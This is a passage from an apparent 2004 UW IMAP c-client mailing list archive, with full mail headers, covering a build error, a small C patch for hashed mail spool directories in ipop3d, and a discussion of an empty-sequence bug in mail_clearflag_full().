voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Feb 22 16:21:13 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 22 Feb 2004 16:21:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1N0LCrW009372 for ; Sun, 22 Feb 2004 16:21:12 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1N0LAls002787 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 22 Feb 2004 16:21:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1N0KHVb017590; Sun, 22 Feb 2004 16:20:18 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1N0HLuL043610 for ; Sun, 22 Feb 2004 16:17:21 -0800 Received: from web20208.mail.yahoo.com (web20208.mail.yahoo.com [216.136.226.63]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1N0HKcr019793 for ; Sun, 22 Feb 2004 16:17:20 -0800 Received: from [200.77.81.210] by web20208.mail.yahoo.com via HTTP; Sun, 22 Feb 2004 18:17:19 CST Message-Id: <20040223001719.83581.qmail@web20208.mail.yahoo.com> Date: Sun, 22 Feb 2004 18:17:19 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?iso-8859-1?q?Wingston=20Barahona?= To: Mark Crispin , Jorge Venzor Cc: c-client@u.washington.edu, green@UMDNJ.EDU Subject: Re: I have a problem with Server IMAP In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='FROM_ENDS_IN_NUMS 0.001, __HAS_MSGID 0, __SANE_MSGID 0, __FROM_ENDS_IN_NUMS 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __MIME_TEXT_ONLY 0, IN_REP_TO 0, __MSGID_BEFORE_OKAY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I use to commnad Example: make sun make sol etc... The message is always ? ERROR in compilation.... --- Mark Crispin escribió: > What command did you use to build the software? > > What error message(s) did you get? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, > or public debate. > Si vis pacem, para bellum. _________________________________________________________ Do You Yahoo!? La mejor conexión a internet y 25MB extra a tu correo por $100 al mes. http://net.yahoo.com.mx From pinedev@shivax2.cac.washington.edu Sun Feb 22 16:26:40 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 22 Feb 2004 16:26:40 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1N0Qe3F009478 for ; Sun, 22 Feb 2004 16:26:40 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1N0Qcgm002908 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 22 Feb 2004 16:26:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1N0Ps52013318; Sun, 22 Feb 2004 16:25:54 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1N0NwuL043738 for ; Sun, 22 Feb 2004 16:23:58 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1N0NvBt019055 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 22 Feb 2004 16:23:57 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1N0NtbU005274; Sun, 22 Feb 2004 16:23:56 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1N0NohW009859 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 22 Feb 2004 16:23:54 -0800 Message-Id: Date: Sun, 22 Feb 2004 16:24:04 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: =?iso-8859-1?q?Wingston=20Barahona?= Cc: Jorge Venzor , c-client@u.washington.edu, green@UMDNJ.EDU Subject: Re: I have a problem with Server IMAP In-Reply-To: <20040223001719.83581.qmail@web20208.mail.yahoo.com> References: <20040223001719.83581.qmail@web20208.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: 8BIT X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __ISO_2022_JP_DELIM 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You probably want to do "make sol" or "make gso". "make sun" is for the old BSD-based SUN-OS system. "Error in compilation" is not the actual error. The actual error was reported earlier. I recommend that you find a UNIX expert in your locality to help you, and to communicate with us. Otherwise, it is very difficult to diagnose problems remotely. On Sun, 22 Feb 2004, [iso-8859-1] Wingston Barahona wrote: > I use to commnad > > Example: > make sun > make sol > etc... > > The message is always ? > > ERROR in compilation.... > > --- Mark Crispin escribi$B…(B > > What command did you use to build the software? > > > > What error message(s) did you get? > > > > -- Mark -- > > > > http://staff.washington.edu/mrc > > Science does not emerge from voting, party politics, > > or public debate. > > Si vis pacem, para bellum. > > _________________________________________________________ > Do You Yahoo!? > La mejor conexi$B…O(B a internet y 25MB extra a tu correo por $100 al mes. http://net.yahoo.com.mx > -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 25 15:42:47 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Feb 2004 15:42:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNgkYe011898 for ; Wed, 25 Feb 2004 15:42:47 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNgj0K006305 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 25 Feb 2004 15:42:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1PNdriJ013452; Wed, 25 Feb 2004 15:39:54 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNXvxJ090916 for ; Wed, 25 Feb 2004 15:33:57 -0800 Received: from chico.benjamindsmith.com (adsl-63-195-17-22.dsl.chic01.pacbell.net [63.195.17.22]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNXtL9029981 for ; Wed, 25 Feb 2004 15:33:56 -0800 Received: from 10.254.254.5 (adsl-66-122-182-242.dsl.chic01.pacbell.net [66.122.182.242]) (authenticated) by chico.benjamindsmith.com (8.11.6/8.11.6) with ESMTP id i1PNXgP00382 for ; Wed, 25 Feb 2004 15:33:43 -0800 Message-Id: <200402251533.40595.lists@benjamindsmith.com> Date: Wed, 25 Feb 2004 15:33:40 -0800 Reply-To: lists@benjamindsmith.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Benjamin Smith To: c-client@u.washington.edu Subject: ipop3d and hashed spool directories? MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Sentto: bogus@goldminer.westernaviation.com X-Message: Using Microsoft Outlook makes you vulnerable to many viruses. X-MailScanner-Information: Effortless Information Systems Antivirus Mail Scanner X-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __CD 0, __SOBIG_X_MAILSCANNER 0, __X_MAIL_SCANNER 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have a mail server I'd like to use hashed spool directories with, where "/var/spool/mail/joe" becomes "/var/spool/mail/j/o/joe". Can ipop3d support this? Can I do it in runtime, without patching/recompiling? I'm using Red Hat Fedora C1, and the number of email accounts is between 10-20 thousand. RPM reports this as version "2002d", build 3. -Ben -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 25 15:52:01 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Feb 2004 15:52:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNq0UR012292 for ; Wed, 25 Feb 2004 15:52:00 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNpx1c010867 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 25 Feb 2004 15:51:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1PNojnE014724; Wed, 25 Feb 2004 15:50:45 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNjpAK123386 for ; Wed, 25 Feb 2004 15:45:51 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNjoE6017357 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 25 Feb 2004 15:45:50 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNjnf8017032; Wed, 25 Feb 2004 15:45:49 -0800 Received: from kami-butsumetsu (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1PNjiUf011228 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 25 Feb 2004 15:45:49 -0800 Message-Id: Date: Wed, 25 Feb 2004 15:46:31 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Benjamin Smith Cc: c-client@u.washington.edu Subject: Re: ipop3d and hashed spool directories? In-Reply-To: <200402251533.40595.lists@benjamindsmith.com> References: <200402251533.40595.lists@benjamindsmith.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 25 Feb 2004, Benjamin Smith wrote: > I have a mail server I'd like to use hashed spool directories with, where > "/var/spool/mail/joe" becomes "/var/spool/mail/j/o/joe". > > Can ipop3d support this? Can I do it in runtime, without patching/recompiling? You will need to patch/recompile, but the patch is very easy. In file imap-200?/src/osdep/unix/env_unix.c, look for routine sysinbox(). There is a line: sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); change it to something like: char *s = myusername (); if (s[1]) sprintf (tmp,"%s/%c/%c/%s",MAILSPOOL,s[0],s[1],s); else sprintf (tmp,"%s/%c/%s",MAILSPOOL,s[0],s); Note that there are many ways of doing hashed directories. The patch above is to do hashed directories in the way you propose in your message. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 25 17:21:18 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Feb 2004 17:21:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1LHYC016103 for ; Wed, 25 Feb 2004 17:21:17 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1LFVg013926 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 25 Feb 2004 17:21:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1Q1KUAq016394; Wed, 25 Feb 2004 17:20:30 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1GkGE041202 for ; Wed, 25 Feb 2004 17:16:46 -0800 Received: from foo.birdnet.se (foo.birdnet.se [213.88.146.6]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1Q1GhGA009234 for ; Wed, 25 Feb 2004 17:16:44 -0800 Received: (qmail 13623 invoked by uid 501); 26 Feb 2004 01:16:36 -0000 Message-Id: <20040226011636.GI8547@foo.birdnet.se> Date: Thu, 26 Feb 2004 02:16:36 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Stuge To: c-client@u.washington.edu Subject: Silly bug in imap-2002d. Still in? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! Sorry if this is already known, but 2002d was the latest version when I needed it. I see 2002e and 2004.RC1 has been released since. When the PHP imap extension function imap_clearflag_full() (http://php.net/imap_clearflag_full - it calls mail_clearflag_full()) is called with an empty sequence, c-client sends invalid IMAP to the server, and becomes quite disappointed when the server replies with an error message. (c-client stops responding completely.) A customer originally discovered this when trying to delete messages in V-webmail, which uses the PHP IMAP extension. I fixed it in PHP by validating the sequence before actually calling the IMAP extension, but should of course be fixed in c-client if it hasn't been already. < 00000008 UID STORE -Flags (\Deleted) > * BAD Syntax error: Expected Set after this, nothing more happens. //Peter -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 25 17:31:39 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Feb 2004 17:31:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1VdCP016498 for ; Wed, 25 Feb 2004 17:31:39 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1Vb6R010086 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 25 Feb 2004 17:31:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1Q1Ueqq013672; Wed, 25 Feb 2004 17:30:40 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1QwXt119226 for ; Wed, 25 Feb 2004 17:26:58 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1QvUp021687 for ; Wed, 25 Feb 2004 17:26:57 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1Quqx012287; Wed, 25 Feb 2004 17:26:56 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1QtkP022498 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 25 Feb 2004 17:26:56 -0800 Message-Id: Date: Wed, 25 Feb 2004 17:26:56 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Peter Stuge Cc: c-client@u.washington.edu Subject: Re: Silly bug in imap-2002d. Still in? In-Reply-To: <20040226011636.GI8547@foo.birdnet.se> References: <20040226011636.GI8547@foo.birdnet.se> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN As with other APIs, c-client does not check for all possible silly arguments that an application can give it. The correct fix is what you did; make sure that you only call the API with valid arguments. On Thu, 26 Feb 2004, Peter Stuge wrote: > Hi! > > Sorry if this is already known, but 2002d was the latest version when I > needed it. I see 2002e and 2004.RC1 has been released since. > > When the PHP imap extension function imap_clearflag_full() > (http://php.net/imap_clearflag_full - it calls mail_clearflag_full()) > is called with an empty sequence, c-client sends invalid IMAP to the > server, and becomes quite disappointed when the server replies with an > error message. (c-client stops responding completely.) > > A customer originally discovered this when trying to delete messages in > V-webmail, which uses the PHP IMAP extension. I fixed it in PHP by > validating the sequence before actually calling the IMAP extension, > but should of course be fixed in c-client if it hasn't been already. > > < 00000008 UID STORE -Flags (\Deleted) > > * BAD Syntax error: Expected Set > > after this, nothing more happens. > > > //Peter > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Feb 25 17:40:14 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Feb 2004 17:40:14 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1eEE9016700 for ; Wed, 25 Feb 2004 17:40:14 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1eCnE010321 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 25 Feb 2004 17:40:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1Q1dSwX011378; Wed, 25 Feb 2004 17:39:28 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1ZsLZ119076 for ; Wed, 25 Feb 2004 17:35:54 -0800 Received: from foo.birdnet.se (foo.birdnet.se [213.88.146.6]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1Q1ZqJX011210 for ; Wed, 25 Feb 2004 17:35:53 -0800 Received: (qmail 14999 invoked by uid 501); 26 Feb 2004 01:35:46 -0000 Message-Id: <20040226013546.GK8547@foo.birdnet.se> Date: Thu, 26 Feb 2004 02:35:46 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Stuge To: c-client@u.washington.edu Subject: Re: Silly bug in imap-2002d. Still in? In-Reply-To: References: <20040226011636.GI8547@foo.birdnet.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Feb 25, 2004 at 05:26:56PM -0800, Mark Crispin wrote: > As with other APIs, c-client does not check for all possible silly > arguments that an application can give it. The correct fix is what you > did; make sure that you only call the API with valid arguments. Hm. I'll agree that the library shouldn't have to parse the IMAP, but either way it shouldn't stop responding because of the protocol error, IMHO of course. :) //Peter From pinedev@shivax2.cac.washington.edu Wed Feb 25 17:48:21 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 25 Feb 2004 17:48:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1mL93016862 for ; Wed, 25 Feb 2004 17:48:21 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1mJ20014745 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 25 Feb 2004 17:48:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1Q1lX3h012674; Wed, 25 Feb 2004 17:47:33 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1iAKr105096 for ; Wed, 25 Feb 2004 17:44:10 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1i9QR024752 for ; Wed, 25 Feb 2004 17:44:09 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1i5M3008133; Wed, 25 Feb 2004 17:44:05 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1Q1i5Ys023969 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 25 Feb 2004 17:44:05 -0800 Message-Id: Date: Wed, 25 Feb 2004 17:44:05 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Peter Stuge Cc: c-client@u.washington.edu Subject: Re: Silly bug in imap-2002d. Still in? In-Reply-To: <20040226013546.GK8547@foo.birdnet.se> References: <20040226011636.GI8547@foo.birdnet.se> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Feb 2004, Peter Stuge wrote: > Hm. I'll agree that the library shouldn't have to parse the IMAP, but > either way it shouldn't stop responding because of the protocol error, How does it "stop responding"? I tried an empty sequence and it returns properly after issuing the error. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Feb 28 09:23:23 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 28 Feb 2004 09:23:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1SHNM68023667 for ; Sat, 28 Feb 2004 09:23:22 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1SHNLqb004187 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 28 Feb 2004 09:23:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with SMTP id i1SHMY7p016210; Sat, 28 Feb 2004 09:22:34 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1SHKqcL057518 for ; Sat, 28 Feb 2004 09:20:52 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1SHKooj007388 